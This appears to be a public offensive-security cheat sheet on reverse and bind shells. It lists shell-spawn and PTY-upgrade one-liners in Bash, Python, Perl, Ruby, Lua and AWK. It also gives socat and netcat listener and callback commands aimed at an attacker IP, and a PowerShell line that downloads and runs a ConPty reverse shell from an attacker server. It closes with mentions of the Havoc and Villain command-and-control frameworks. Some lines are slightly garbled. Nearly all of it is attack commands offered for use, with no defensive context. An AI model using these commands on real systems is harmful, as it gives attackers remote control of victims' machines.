Reverse & Bind Shells
Last updated
Was this helpful?
Last updated
Was this helpful?
Public to the world
Bash
/bin/bash -i
Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
Perl
perl —e 'exec "/bin/sh";' perl: exec "/bin/sh";
Ruby
ruby: exec "/bin/sh"
Lua
lua: os.execute('/bin/sh')
AWK
awk 'BEGIN {system("/bin/sh")}'
Socat
On Attacker
socat file:`tty`,raw,echo=0 tcp-listen:<PORT2>
On RevShell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<Attacker_IP>:<PORT2>
Shell handler with auto-upgrade shells to PTY
Windows TTY
stty raw -echo; (stty size; cat) | nc -lvnp <PORT>
IEX(IWR http://<IP_SERVER>:<PORT_SERVER>/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <MY_IP> <MY_PORT>
With on attacker machine and adding at the end
Invoke-PowerShellTcp -Reverse -IPAddress <MY_IP> -Port <MY_PORT>
On the victim
Havoc is a modern and malleable post-exploitation command and control framework with GUI.
A high level stage 0/1 C2 framework that can handle multiple reverse TCP & HoaxShell-based shells, enhance their functionality with additional features (commands, utilities) and share them among connected sibling servers (Villain instances running on different machines).